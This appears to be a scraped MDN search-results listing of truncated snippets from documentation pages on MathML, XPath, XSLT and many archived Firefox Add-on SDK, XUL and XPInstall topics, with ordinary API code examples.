...you can use #rgb, #rrggbb and html color names.
... this attribute is deprecated and will be removed in the future.
...And 3 more matches
<mtr> - MathML
WebMathMLElementmtr
you can use #rgb, #rrggbb and html color names.
...you can use #rgb, #rrggbb and html color names.
... rowalign overrides the vertical alignment of cells specified by <mtable> for this row.
...And 3 more matches
<munder> - MathML
WebMathMLElementmunder
this attribute is deprecated and will be removed in the future.
...you can use #rgb, #rrggbb and html color names.
...you can use #rgb, #rrggbb and html color names.
...And 3 more matches
<munderover> - MathML
this attribute is deprecated and will be removed in the future.
...you can use #rgb, #rrggbb and html color names.
...you can use #rgb, #rrggbb and html color names.
...And 3 more matches
MathML element reference - MathML
this is an alphabetical list of mathml presentation elements.
... the term presentation markup is used to describe the layout structure of mathematical notation whereas content markup provides the underlying mathematical meaning and is not supposed to be rendered by the mathml parser (see bug 276028).
... if you want to learn more about content markup you should consider chapter 4 in the mathml 3 specification.
...And 3 more matches
Mapping the width and height attributes of media container elements to their aspect-ratio - Web media technologies
this change means that the aspect ratio of the image is calculated by the browser early on and can then be used to correct the size needed to display the image before it has loaded, if css has been applied that causes problems with its display size.
...to keep images from breaking out of their containers when the container becomes narrower than the image, developers started using css like the following: img { max-width: 100%; height: auto; } this is really useful for responsive layouts, but unfortunately it causes the jank problem to return — the above css overrides the width and height attribute information, meaning that if the image has not loaded for some reason, its height will be set to 0.
...when such an element has width and height attributes set on it, its aspect ratio will be calculated before load time, and be available to the browser.
...And 3 more matches
self - XPath
WebXPathAxesself
the self axis indicates the context node itself.
... it can be abbreviated as a single period (.).
... specifications specification status comment xpath 3.1the definition of 'self' in that specification.
...And 3 more matches
Transforming XML with XSLT - XSLT: Extensible Stylesheet Language Transformations
the structure of an xml document is designed to reflect and clarify important relationships among the individual aspects of the content itself, unhindered by a need to provide any indication about how this data should eventually be presented.
...because a browser provides a familiar and highly flexible interface, it is an ideal mechanism for delivering such presentation versions of xml content.
...xslt allows a stylesheet author to transform a primary xml document in two significant ways: manipulating and sorting the content, including a wholesale reordering of it if so desired, and transforming the content into a different format (and in the case of firefox, the focus is on converting it on the fly into html which can then be displayed by the browser).
...And 3 more matches
Loading Content Scripts - Archive of obsolete content
the contentscriptfile option enables you to pass in the local file url from which the content script will be loaded.
... to supply the file "my-content-script.js", located in the /data subdirectory under your add-on's root directory, use a line like: // "data" is supplied by the "self" module var data = require("sdk/self").data; ...
... contentscriptfile: data.url("my-content-script.js") both contentscript and contentscriptfile accept an array of strings, so you can load multiple scripts, which can also interact directly with each other in the content process: // "data" is supplied by the "self" module var data = require("sdk/self").data; ...
...And 2 more matches
Guides - Archive of obsolete content
this page lists more theoretical in-depth articles about the sdk.
... modules learn about the module system used by the sdk (which is based on the commonjs specification), how sandboxes and compartments can be used to improve security, and about the built-in sdk module loader, known as cuddlefish.
... classes and inheritance learn how classes and inheritance can be implemented in javascript, using constructors and prototypes, and about the helper functions provided by the sdk to simplify this.
...And 2 more matches
clipboard - Archive of obsolete content
usage you can optionally specify the type of the data to set and retrieve.
... var clipboard = require("sdk/clipboard"); clipboard.set("data:image/png;base64,ivborw0kggoaaaansuheugaaacaaaaagcaya" + "aabzenr0aaaasuleqvryhe3o0qkaiawd0eyqe3q993aq3cbsukpygfsnty" + "n5ugbqpk0baadgp0brdwxwlweaaaaagpsa3rzdaaaaahgpcgrpganzq2fg" + "bwrr9aaaaabjru5erkjggg%3d%3d"); if the clipboard contains an image, open it in a new tab.
... var clipboard = require("sdk/clipboard"); if (clipboard.currentflavors.indexof("image") != -1) require("sdk/tabs").open(clipboard.get()); as noted before, data type can be easily omitted for images.
...And 2 more matches
private-browsing - Archive of obsolete content
check whether a given object is private, so an add-on can respect private browsing usage per-window private browsing private browsing status is a property of an individual browser window.
...when they do this, any existing non-private windows are kept open, so the user will typically have both private and non-private windows open at the same time.
...it returns true only if the object is: a private window, or a tab belonging to a private window, or a worker that's associated with a document hosted in a private window any window, tab, or worker if the browser has been configured to never remember history (options->privacy->history) add-ons can use this api to decide whether or not to store user data.
...And 2 more matches
core/namespace - Archive of obsolete content
let { ns } = require('sdk/core/namespace'); let anamespace = ns(); anamespace(publicapi).secret = secret; one namespace may be used with multiple objects: let { ns } = require('sdk/core/namespace'); let dom = ns(); function view(element) { let view = object.create(view.prototype); dom(view).element = element; // ....
... also, multiple namespaces can be used with one object: // ./widget.js let { cu } = require('chrome'); let { ns } = require('sdk/core/namespace'); let { view } = require('./view'); // note this is completely independent from view's internal namespace object.
... let sandboxes = ns(); function widget(options) { let { element, contentscript } = options; let widget = object.create(widget.prototype); view.call(widget, options.element); sandboxes(widget).sandbox = cu.sandbox(element.ownerdocument.defaultview); // ...
...And 2 more matches
places/favicon - Archive of obsolete content
globals functions getfavicon(object, callback) takes an object that represents a page's url and returns a promise that resolves with the favicon url for that page.
... the object can be a url string or a tab.
...ring example getfavicon("http://mozilla.org").then(function (url) { console.log(url); // http://mozorg.cdn.mozilla.net/media/img/favicon.ico }); // tab example require("sdk/tabs").open({ url: "http://mozilla.org", onready: function (tab) { getfavicon(tab).then(function (url) { console.log(url); // http://mozorg.cdn.mozilla.net/media/img/favicon.ico }); } }); // an optional callback can be provided to handle // the promise's resolve and reject states getfavicon("http://mozilla.org", function (url) { console.log(url); // http://mozorg.cdn.mozilla.net/media/img/favicon.ico }); parameters object : string|tab a value that represents the url of the page to get the favicon url from.
...And 2 more matches
places/history - Archive of obsolete content
// we'd compose the query with the following options let lastweek = date.now - (1000*60*60*24*7); search( // first query looks for all entries before last week with 'ruby' [{ query: "ruby", to: lastweek }, // second query searches all entries after last week with 'javascript' { query: "javascript", from: lastweek }], // we want to order chronologically by visit date { sort: "date" } ).on("end", function (results) { // results is an array of objects containing visit data, // sorted by visit date, with all entries from more than a week ago // that contain 'ruby', *in addition to* entries from this last week // that contain 'javascript' }); globals functions search(queries, options) queries can be performed on history entries by p...
...each query option can take several properties, which are and'd together to make one complete query.
...each query object can take several properties, which are queried against the history database.
...And 2 more matches
stylesheet/style - Archive of obsolete content
globals constructors style(options) the style constructor creates an object that represents style modifications via stylesheet file(s) or/and css rules.
... stylesheet file url(s) are verified to be local to an add-on, while css rules are verified to be a string or array of strings.
... the style created can be applied to a content by calling attach, and removed using detach.
...And 2 more matches
test/httpd - Archive of obsolete content
an http server for the mozilla platform, which can be used in unit tests.
... }) }); this starts a server in background (assuming you're running this code in an application that has an event loop, such as firefox).
... the server listens at http://localhost:port/ and serves files from the specified directory.
...And 2 more matches
window/utils - Archive of obsolete content
usage private windows with this module your add-on will see private browser windows even if it has not explicitly opted into private browsing, so you need to take care not to store any user data derived from private browser windows.
... parameters window : nsidomwindow returns nsiloadcontext open(uri, options) this function is used to open top level (application) windows.
...this is the same as open, but you can supply more features.
...And 2 more matches
jpm-mobile - Archive of obsolete content
you can use jpm and jpm-mobile for firefox 38 and onwards.
... after that you can install jpm just as you would any other npm package: npm install jpm-mobile -g depending on your setup, you might need to run this as an administrator: sudo npm install jpm-mobile -g at the command prompt, type: jpm-mobile you should see a screen summarizing the available jpm-mobile commands.
...you can also chat with other sdk users in #jetpack on mozilla's irc network.
...And 2 more matches
Display a Popup - Archive of obsolete content
you can run content scripts in the panel: although the script running in the panel can't directly access your main add-on code, you can exchange messages between the panel script and the add-on code.
...function handleclick(state) { text_entry.show(); } // when the panel is displayed it generated an event called // "show": we will listen for that event and when it happens, // send our own "show" event to the panel's script, so the // script can prepare the panel for display.
... text_entry.on("show", function() { text_entry.port.emit("show"); }); // listen for messages called "text-entered" coming from // the content script.
...And 2 more matches
Logging - Archive of obsolete content
because dom objects aren't available to the main add-on code, the sdk provides its own global console object with most of the same methods as the dom console, including methods to log error, warning, or informational messages.
...it is automatically made available to you.
... console in content scripts you can use the console in content scripts as well as in your main add-on code.
...And 2 more matches
Troubleshooting - Archive of obsolete content
check your firefox jpm searches well known locations on your system for firefox.
...in those cases you need to use jpm's --binary option.
... when you run jpm to test your add-on or run unit tests, it prints out the location of the firefox or xulrunner binary that it found, so you can check its output to be sure.
...And 2 more matches
Tutorials - Archive of obsolete content
this page lists practical hands-on articles about how to accomplish specific tasks using the sdk.
... modify the active web page dynamically load a script into the currently active web page.
...create reusable packages containing your modules, so other add-on developers can use them too.
...And 2 more matches
Add-on SDK - Archive of obsolete content
using the add-on sdk, you can create firefox add-ons.
... you can use various standard web technologies: javascript, html, and css, to create the add-ons.
... the sdk includes javascript apis, which you can use to create add-ons and tools for creating, running, testing, and packaging add-ons.
...And 2 more matches
Drag & Drop - Archive of obsolete content
dropping files onto an xul application it's possible to setup drag and drop events to handle dropping files from external applications or os file managers onto your xul-based application.
...next, setup the handlers so that files can be dropped on the application: function _dragover(aevent) { var dragservice = components.classes["@mozilla.org/widget/dragservice;1"].getservice(components.interfaces.nsidragservice); var dragsession = dragservice.getcurrentsession(); var supported = dragsession.isdataflavorsupported("text/x-moz-url"); if (!supported) supported = dragsession.isdataflavorsupported("application/x-moz-file"); if (supported) dragsession.candrop = true; } function _dragdrop(aevent) { var dragservice = components.cla...
...sses["@mozilla.org/widget/dragservice;1"].getservice(components.interfaces.nsidragservice); var dragsession = dragservice.getcurrentsession(); var _ios = components.classes['@mozilla.org/network/io-service;1'].getservice(components.interfaces.nsiioservice); var uris = new array(); // if sourcenode is not null, then the drop was from inside the application if (dragsession.sourcenode) return; // setup a transfer item to retrieve the file data var trans = components.classes["@mozilla.org/widget/transferable;1"].createinstance(components.interfaces.nsitransferable); trans.adddataflavor("text/x-moz-url"); trans.adddataflavor("application/x-moz-file"); for (var i=0; i<dragsession.numdropitems; i++) { var uri = null; dragsession.getdata...
...And 2 more matches
Developing add-ons - Archive of obsolete content
mozilla based software is typically extensible through add-ons.
... extensions extensions add new functionality to mozilla applications such as firefox, seamonkey and thunderbird.
... they can add anything from a toolbar button to a completely new feature.
...And 2 more matches
Extension Theming Guidelines - Archive of obsolete content
branding certain items of your extensions style, in particular logos and icons can be kept in the chrome content package such that they are not replaceable by custom themes stylesheets guidelines include stylesheets for every new window that your extension adds and for every window that your extension overlays content into be sure to add a stylesheet from your chrome skin package.
... while it may be tempting to use the same stylesheet in multiple places try to avoid this so that themes can correctly target the right windows.
...in this case you should add a stylesheet to your chrome content package and apply the bindings there.
...And 2 more matches
Hiding browser chrome - Archive of obsolete content
there are times in which an extension may find it useful to hide browser chrome (that is, toolbars, the location bar, and so forth), in order to reduce clutter when presenting a particular user interface.
...this can be accomplished by augmenting the behavior of the xulbrowserwindow object's hidechromeforlocation() method.
... note: don't simply replace the hidechromeforlocation() method; this will likely hurt the functionality of firefox itself as well as other extensions.
...And 2 more matches
Overlay extensions - Archive of obsolete content
this page contains links to documentation for the approach to developing extensions for gecko-based applications which uses: xul overlays to specify the interface apis available to privileged code, such as tabbrowser and javascript modules, to interact with the application and content.
...the privileged javascript apis described here can still be used in these newer types of add-ons.
... xul school xul school is a comprehensive add-on development tutorial, focusing on firefox extension development but mostly applicable to other gecko-based applications.
...And 2 more matches
checking - Archive of obsolete content
the checking event is fired when the user agent is checking for an update, or attempting to download the cache manifest for the first time.
... general info specification offline interface event bubbles no cancelable no target applicationcache default action none properties property type description target eventtarget (dom element) the event target (the topmost target in the dom tree).
... canbubble boolean does the event normally bubble?
...And 2 more matches
downloading - Archive of obsolete content
the downloading event is fired after checking for an application cache update, if the user agent has found an update and is fetching it, or is downloading the resources listed by the cache manifest for the first time.
... general info specification offline interface event bubbles no cancelable no target applicationcache default action none properties property type description target eventtarget (dom element) the event target (the topmost target in the dom tree).
... canbubble boolean does the event normally bubble?
...And 2 more matches
error - Archive of obsolete content
the error event is fired when an error occurred while downloading the cache manifest or updating the content of the application.
... general info specification offline interface event bubbles no cancelable no target applicationcache default action none properties property type description target eventtarget (dom element) the event target (the topmost target in the dom tree).
... canbubble boolean does the event normally bubble?
...And 2 more matches
noupdate - Archive of obsolete content
the noupdate event is fired after checking for an application cache update, if the manifest hasn't changed.
... general info specification offline interface event bubbles no cancelable no target applicationcache default action none properties property type description target eventtarget (dom element) the event target (the topmost target in the dom tree).
... canbubble boolean does the event normally bubble?
...And 2 more matches
obsolete - Archive of obsolete content
the obsolete event is fired when the manifest was found to have become a 404 or 410 page, so the application cache is being deleted.
... general info specification offline interface event bubbles no cancelable no target applicationcache default action none properties property type description target eventtarget (dom element) the event target (the topmost target in the dom tree).
... canbubble boolean does the event normally bubble?
...And 2 more matches
updateready - Archive of obsolete content
the updateready event is fired when the resources listed in the application cache manifest have been newly redownloaded, and the script can use swapcache() to switch to the new cache.
... general info specification offline interface event bubbles no cancelable no target applicationcache default action none properties property type description target eventtarget (dom element) the event target (the topmost target in the dom tree).
... canbubble boolean does the event normally bubble?
...And 2 more matches
cert_override.txt - Archive of obsolete content
cert_override.txt is a text file generated in the user profile to store certificate exceptions specified by the user.
... this file is used by firefox, thunderbird, and other xul-based applications.
... since there is no way to add easily an exception in a xulrunner 1.9 project, you can open the page in firefox, accept the certificate, then copy the cert_override.txt to the xulrunner application profile.
...And 2 more matches
Creating a Web based tone generator - Archive of obsolete content
this function is called at a certain interval through the setinterval() function.
... the function mozwriteaudio() is called to write those samples produced in the audio stream.
...the function mozcurrentsampleoffset() is used to know the position of the samples being played so that we can fill a 500 ms buffer of audio samples.
...And 2 more matches
Monitoring WiFi access points - Archive of obsolete content
code with universalxpconnect privileges can monitor the list of available wifi access points to obtain information about them including their ssid, mac address, and signal strength.
... this capability was introduced primarily to allow wifi-based location services to be used by geolocation services.
...<html> <head> <title>wifi monitor example</title> <script> var count = 0; function test() { } test.prototype = { onchange: function (accesspoints) { netscape.security.privilegemanager.enableprivilege('universalxpconnect'); var d = document.getelementbyid("d"); d.innerhtml = ""; for (var i=0; i<accesspoints.length; i++) { var a = accesspoints[i]; d.innerhtml += "<p>" + a.mac + " " + a.ssid + " " + a.signal + "</p>"; } var c = document.getelementbyid("c"); c.innerhtml = "<p>" + count++ + "</p>"; }, onerror: function (value) { alert("error: " +value); }, queryinterface: function(iid) { netscape.security.privilegemanager.enableprivilege('universalx...
...And 2 more matches
Same-origin policy for file: URIs - Archive of obsolete content
in other words, any html file on your local disk can read any other file on your local disk.
... specifically, a file can read another file only if the parent directory of the originating file is an ancestor directory of the target file.
... directories cannot be loaded this way, however.
...And 2 more matches
Visualizing an audio spectrum - Archive of obsolete content
this example calculates and displays fast fourier transform (fft) spectrum data for the playing audio.
... the function handling the loadedmetadata event stores the metadata of the audio element in global variables; the function for the mozaudioavailable event does an fft of the samples and displays them in a canvas.
... note: you can use the audionode called analysernode to perform real-time fft analysis on an audio stream, rather than the code shown below.
...And 2 more matches
How Thunderbird and Firefox find their configuration files - Archive of obsolete content
how thunderbird and firefox find their configuration files thunderbird looks into the binary %appdata%\thunderbird\profiles.ini file for its "registry", which contains, amongst other information, a pointer to the directory where the profile is stored (usually located in %appdata%\thunderbird\profiles\profilename).
... likewise, firefox uses a similar file, located in %appdata%\mozilla\firefox\profiles.ini.
...all other files in that directory are dynamically created by mozilla on first start.
...And 2 more matches
Protecting Mozilla's registry.dat file - Archive of obsolete content
protecting mozilla's registry.dat file from windows and internet explorer the easyest way to put into place the registry.dat file for a user would theoretically be to put it into the user's profile directory on the server.
... however, this issue is problematic, because: when the users logs in for the first time, windows 2000 apparently doesn't load the profile from the server...
... in other windows versions, internet explorer (which is hard to kick off completely) likes to install "personnalized settings" when the user logs in for the first time, and this seems to have the interesting "side-effect" of wiping any non-microsoft subfolders from %userprofile%\application data, including mozilla's .
...And 2 more matches
Adding the structure - Archive of obsolete content
barpanel class="statusbarpanel-iconic" id="tinderbox-status" status="none"/> <statusbarpanel class="statusbarpanel-iconic" id="offline-status"/> <statusbarpanel class="statusbarpanel-iconic" id="security-button" onclick="browserpageinfo(null, 'securitytab')"/> </statusbar> the statusbar xul element defines a horizontal status bar where informative messages about an application's state can be displayed.
... it can contain both text messages (i.e.
... "done" in mozilla when a document finishes loading) and graphical messages (f.e.
...And 2 more matches
Conclusion - Archive of obsolete content
to test it, try installing the extension on a fresh copy of mozilla by loading the file in your mozilla browser (this works whether you load it from the web or from your local hard drive via a file:/// url).
... mozilla will automatically detect that the file is an installer and ask you if you want to install the software.
... mozilla applications often store their css and image files in a separate skin subdirectory within the installation directory.
...And 2 more matches
Making it into a dynamic overlay and packaging it up for distribution - Archive of obsolete content
this method of packaging applies to older applications, like mozilla suite, firefox 1.0.
... start out by creating a directory called tinderstatus-installer.
...we need to change some urls in the copy of tinderstatusoverlay.xul to point to the new locations the files will be in when they get installed via the xpi: <?xml version="1.0"?> <?xml-stylesheet href="chrome://tinderstatus/content/tinderstatus.css" type="text/css"?> <overlay id="tinderstatusoverlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://tinderstatus/content/tinderstatus.js" ...
...And 2 more matches
Dehydra - Archive of obsolete content
dehydra was a lightweight, scriptable, general purpose static analysis tool capable of application-specific analyses of c++ code.
...it presented a wealth of semantic information that can be queried with concise javascripts.
... it was also useful to find bugs in source code as it allows for much more error checking than c++ is capable of by itself.
...And 2 more matches
Embedding FAQ - Archive of obsolete content
faq mozilla.dev.embedding how to start embedding you can find a examples, faqs, and the api from mozilla itself.
... you can get more detailed information on what interfaces are required and which are optional to impelement here.
...you can find more information on adding new protocols here how to embedding mozilla inside of java there hasn't been any good code examples found.
...And 2 more matches
Layout FAQ - Archive of obsolete content
if you're on linux, then you can try using jprof.
... instructions are available at jprof readme on more recent linux versions sysprof can also be used.
...that won't help with pending style changes, but it'll work to detect cases when the popup or something in it needs to be reflown.
...And 2 more matches
Hidden prefs - Archive of obsolete content
this page has been flagged by editors or users as needing technical review.
... address book "get map" button pref ("mail.addr_book.mapit_url.format" ) the format for this pref is: @a1 == address, part 1 @a2 == address, part 2 @ci == city @st == state @zi == zip code @co == country if the pref is set to "", no "get map" button will appear in the addressbook card preview pane.
... the default (defined in mailnews.js) is: pref("mail.addr_book.mapit_url.format", "http://www.mapquest.com/maps/map.adp...st&zipcode=@zi"); addressbook quick search query pref ("mail.addr_book.quicksearchquery.format" ) the format for this pref is: @v == the escaped value typed in the quick search bar in the addressbook every occurance of @v will be replaced.
...And 2 more matches
Proxy UI - Archive of obsolete content
camino configured in os (networking preferences) (recently added - some support for reading os and account settings.)ui elements preferences panel overview the ui is based on selecting a proxy mode, then filling out any additional needed information in "related" ui.
...click "cancel" to discard changes.
...but should be noted that if you cut and paste from ie, the semi-colons are automatically converted to commas when you save changes (ff, tb, sm).
...And 2 more matches
String Quick Reference - Archive of obsolete content
function declarations what: use abstract classes instead of concrete classes when passing strings across function boundaries why: using abstract classes allows the caller to choose the storage mechanism, allowing for possible sharing or more efficient handling of string fragments.
...old way: use nsautostring and assignwithconversion() nsautostring widestring; widestring.assignwithconversion("some string"); callwidefunction(widestring); // use widestring again, but need a const prunichar* callwidewithflatstring(widestring.get()) nsautostring widestring2; widestring2.assignwithconversion("another string"); callwidefunction(widestring2); new way: use ns_literal_string or ns_named_literal_string // pre-declare the variable if you'll use it multiple times ns_named_literal_string(widestring, "some strin...
...g"); callwidefunction(widestring); // use widestring again, but need a const prunichar* callwidewithflatstring(widestring.get()); // inline the string with ns_literal_string callwidefunction(ns_literal_string("another string")); converting literal strings to string objects what: converting from const prunichar*/const char* to the appropriate string type why: avoid making extra copies of strings, just to convert between types!
...And 2 more matches
Tamarin Acceptance Test Template - Archive of obsolete content
* * contributor(s): * adobe as3 team * * alternatively, the contents of this file may be used under the terms of * either the gnu general public license version 2 or later (the "gpl"), or * the gnu lesser general public license version 2.1 or later (the "lgpl"), * in which case the provisions of the gpl or the lgpl are applicable instead * of those above.
... if you wish to allow use of your version of this file only * under the terms of either the gpl or the lgpl, and not to allow others to * use your version of this file under the terms of the mpl, indicate your * decision by deleting the provisions above and replace them with the notice * and other provisions required by the gpl or the lgpl.
... * * ***** end license block ***** */ var section = "test"; // provide a document reference (ie, actionscript section) var version = "as3"; // version of ecmascript or actionscript var title = "test"; // provide ecma section title or a description var bugnumber = ""; starttest(); // leave this alone /** * calls to addtestcase here.
...And 2 more matches
Actionscript Performance Tests - Archive of obsolete content
performance tests for tamarin are located in the test/performance directory.
... use the --memory flag to capture the maximum private bytes memory (high water mark) for a test.
... when the number of iterations is greater than 2 all times are displayed in [], faster time is displayed in the output column, and the 95% confidence interval is calculated.
...And 2 more matches
Using gdb on wimpy computers - Archive of obsolete content
from there you can allow the program to continue running.
...[...] it's easy to define a function for gdb to do this for you automatically.
... you can add this function to the .gdbinit file in your home directory: def prun tbreak main run set auto-solib-add 0 end how do i load shared libraries?
...And 2 more matches
diskSpaceAvailable - Archive of obsolete content
diskspaceavailable returns the amount of disk space available in bytes on the local disk.
...description use this function to make sure there is adequate space on the local disk for extracting and installing your files (see example below).
... you can use a string representing any file on the disk you want to check, and xpinstall will resolve the reference to the partition itself.
...And 2 more matches
execute - Archive of obsolete content
execute queues the executing of a local file.
... method of file object syntax int execute ( filespecobject executablefile, [string aparameters] ); parameters the execute method has the following parameters: executablefile a filespecobject representing the local file already on disk to be executed.
... note that file names are case sensitive.
...And 2 more matches
Properties - Archive of obsolete content
properties major most siginificant element of the installversion object.
...major version of netscape 6 is "6" minor second most siginificant element of the installversion object.e.g.
... minor version of netscape communicator 4.7 is "7" release second least siginificant element of the installversion object.
...And 2 more matches
Methods - Archive of obsolete content
the majority of this api is now deprecated and as of gecko 1.9 no longer available.
... cancelinstall aborts the installation of the software.
... confirm displays a confirm dialog box with the specified message and ok and cancel buttons.
...And 2 more matches
Install Object - Archive of obsolete content
the majority of this api is now deprecated and as of gecko 1.9 no longer available.
...in all cases, the install object is implicit--like the window object in regular web page scripts--and needn't be prefixed to the object methods.
... the following two lines, for example, are equivalent: f = getfolder("program"); f = install.getfolder("program"); an installation script is composed of calls to the install object, and generally takes the following form: initialize the installation call initinstall with the name of the installation and the necessary registry and version information.
...And 2 more matches
align - Archive of obsolete content
for boxes that have horizontal orientation, it specifies how its children will be aligned vertically.
... for boxes that have vertical orientation, it specifies how its children will be aligned horizontally.
...it causes the child elements to be aligned so that their text labels are lined up.
...And 2 more matches
browser.type - Archive of obsolete content
the type of browser, which can be used to set access of the document loaded inside the browser.
...subdocuments of chrome documents are of chrome type, unless the container element (one of iframe, browser or editor) has one of the special type attribute values (the common ones are content, content-targetable and content-primary) indicating that the subdocument is of content type.
...the window for the primary content can be retrieved more conveniently using window.content.
...And 2 more matches
toolbarbutton.type - Archive of obsolete content
you can set this attribute to the value menu to create a button with a menu popup.
... this will typically cause the button to be displayed differently.
...place a menupopup element inside the button in this case.
...And 2 more matches
Floating Panels - Archive of obsolete content
a floating panel can be created using the panel element with at least two additional attributes as in the following example: <panel id="tools-panel" noautohide="true" titlebar="normal"> <label control="name" value="name:"/> <textbox id="name"/> </panel> the noautohide attribute is used to indicate that the panel is not temporary.
... when set to true, the popup will not close when the user clicks outside of it, nor when the user presses the escape key.
...the floating panel can be placed and moved independently of the main window, however it will always appear above the main window.
...And 2 more matches
MoveResize - Archive of obsolete content
moving a popup once a popup is open, it can be moved using the popup's moveto method.
... void moveto(in long left, in long top); the left argument is the horizontal screen position and the top argument is the vertical screen position.
... resizing a popup the size of a popup is determined automatically based on the content inside the popup.
...And 2 more matches
buttons - Archive of obsolete content
the buttons will be placed in suitable locations for the user's platform and basic event handling will be performed automatically.
... the following values can be used in the list: accept: the ok button, which will accept the changes when pressed.
... cancel: the cancel button which will cancel the operation.
...And 2 more matches
currentIndex - Archive of obsolete content
« xul reference currentindex type: integer set to the row index of the tree caret in the tree.
... for trees with focus, the caret's position is indicated by the focus ring, but unfocused trees won't show a focus ring, naturally.
... for unfocused trees, the (undrawn) caret's position can still be obtained by this property.
...And 2 more matches
Building Menus With Templates - Archive of obsolete content
this causes the menupopup to only be created once.
...note that the generated content does not get removed again when the menu is closed again; this extra feature of menus is only intended to be a performance enhancement to speed up the time it takes to display a window by avoiding extra generation that can be put off until later.
...you can actually do this, however, you no longer receive the performance benefit as the entire content will be generated right away.
...And 2 more matches
Code Samples - Archive of obsolete content
this page contains sample code that you can use with the custom toolbar button tutorial.
...you can launch an executable file or some other file that your operating system knows how to open.
...const path = "c:\\windows\\charmap.exe" var file = components .classes["@mozilla.org/file/local;1"] .createinstance(components.interfaces.nsilocalfile) file.initwithpath(path) file.launch() open a web page if your button is in firefox or seamonkey, use code like this to open a web page.
...And 2 more matches
groupbox - Archive of obsolete content
if a caption element is placed inside the groupbox, it will be used as a caption which appears along the top of the groupbox.
... typically, the groupbox will be drawn with a border around it and the caption either above or over the top border, however the actual appearance will be platform specific.
... on linux, for instance, only the caption appears with no border around the group.
...And 2 more matches
keyset - Archive of obsolete content
attributes disabled examples <keyset> <key id="sample-key" modifiers="shift" key="r"/> </keyset> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, styl...
...e, template, tooltip, tooltiptext, top, uri, wait-cursor, width disabled type: boolean indicates whether the element is disabled or not.
...if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
...And 2 more matches
<statusbarpanel> - Archive of obsolete content
unlike normal buttons, a statusbarpanel can only have a label or an image but not both.
... this element is often used with a short label or icon to indicate status, for instance whether the user is online or whether there are new messages.
... start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales.
...And 2 more matches
titlebar - Archive of obsolete content
this element can't be used to change the platform-native titlebar of normal windows; instead, it's used to create custom titlebars for chromeless windows.
...buttons inside it can't be clicked and textboxes can't be focused with the mouse.
... if you don't want this behavior, you can override it by setting allowevents="true" on the titlebar element.
...And 2 more matches
toolbox - Archive of obsolete content
it is a type of box but defaults to vertical orientation.
...the firefox browser does not have grippies so toolbars cannot be collapsed and expanded.
...you can associate an external toolbar with a toolbox for the purpose of managing your toolbars by setting the toolboxid property on the toolbar.
...And 2 more matches
treecell - Archive of obsolete content
you can set the text for the cell using the label attribute.
...when the user double-clicks an editable cell, a text field appears in which the user can edit the contents of the cell.
... properties type: space-separated list of property names sets the properties of the element, which can be used to style the element.
...And 2 more matches
Opening a Link in the Default Browser - Archive of obsolete content
xulrunner applications may have situation where they wish to open a uri in the default browser.
... this will often be an http or https uri, but can use any scheme for which an external handler exists.
... this can be done using the nsiexternalprotocolservice interface: // first construct an nsiuri object using the ioservice var ioservice = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var uritoopen = ioservice.newuri("http://www.example.com/", null, null); var extps = components.classes["@mozilla.org/uriloader/external-protocol-service;1"] .getservice(components.interfaces.nsiexternalprotocolservice); // now, open it!
...And 2 more matches
mozilla.dev.platform FAQ - Archive of obsolete content
faq for questions asked on mozilla.dev.platform xulrunner q: xulrunner on mac os x a: instead of using /path/to/xulrunner-bin.ini, applications on a mac must be in an application bundle (foo.app).
... then unpack the xul app into the mac structure with xulrunner -install-app q: can you build xulrunner with newer (>1.5) features, such as storage?
... a: xulrunner trunk and 1.8 (but not 1.8.0) build storage by default, and anything can be built with storage if you put in you <tt>mozconfig --enable-storage</tt> q: program received signal exc_bad_instruction, illegal instruction/operand.
...And 2 more matches
2006-09-29 - Archive of obsolete content
summary: mozilla.dev.apps.calendar - september 22 - september 29, 2006 announcements lightning and sunbird 0.3 rc1 test day!
... updated l10n status for sunbird 0.3 release according to simon paquet, we now have a full l10n comparison on the trunk between en-us and all locales with a calendar localization.
... details are available for calendar only and for calendar and core.
...And 2 more matches
2006-12-01 - Archive of obsolete content
basic feature that i think is a must in any web broswer a discussion revolving around the idea of having firefox automatically convert mistaken non-english characters to english so that web addresses will be completed.
... windows dde shell integration removal a call for responses or concerns regarding the removal of the dde shell integration.
... a question regarding having an internal website use universalbrowserwrite on a local intranet.
...And 2 more matches
2006-10-20 - Archive of obsolete content
he also points out that when he performs a local build any of those platforms (gentoo, suse and fedora) he doesn't encounter any problems on the same machine.
... in jan vávra's case he is modifying the thunderbird installer so he needs to modify "mail/installer/windows/packages-static" announcements decommissioning sparky on friday on october 17th j.
...he can be contacted via: email: preed@mozilla.com irc: preed on irc.mozilla.org phone: 650.903.0800 x256 uploading language packs to amo on october 17th benjamin smedberg brought the following to the attention of the localizers and the build team: that he is planning to upload the firefox 2 language packages currently located at http://releases.mozilla.org/pub/mozi...rc3/win32/xpi/ to addons.mozilla.org in the next few days.
...And 2 more matches
2006-10-06 - Archive of obsolete content
discussions protocol handlers boris zbarsky posed the question, should random webpages have access to the following protocols: feed, pcast, moz-bookmark, webcal, swebcal.
... pcast: similar to feed: just differentiating between different types of feeds and should be allowed access.
... webcal: & swebcal: should also be allowed as the security manager doesn't differentiate between access types.
...And 2 more matches
2006-10-13 - Archive of obsolete content
summary: mozilla.dev.apps.calendar - october 6 - october 13, 2006 announcements sunbird and lightning 0.3rc2 available matthew willis announced the second release candidate builds for sunbird and lightning 0.3 are released.
...test importing and exporting sunbird calendars to/from other calendar applications.
...discussion about the ability to list and search all the events in a calendar.
...And 2 more matches
NPN_CreateObject - Archive of obsolete content
« gecko plugin api reference « scripting plugins summary allocates a new npobject.
... syntax #include <npruntime.h> npobject *npn_createobject(npp npp, npclass *aclass); parameters the function has the following parameters: <tt>npp</tt> the npp indicating which plugin wants to instantiate the object.
... returns the newly-allocated npobject.
...And 2 more matches
NPN_MemFlush - Archive of obsolete content
if no memory can be freed, the browser returns 0.
... description the plug-in calls npn_memflush() when it is not possible to call npn_memalloc(), for example, when calling system apis that indirectly allocate memory.
... to request that the browser free as much memory as possible, call npn_memflush() repeatedly until it returns 0.
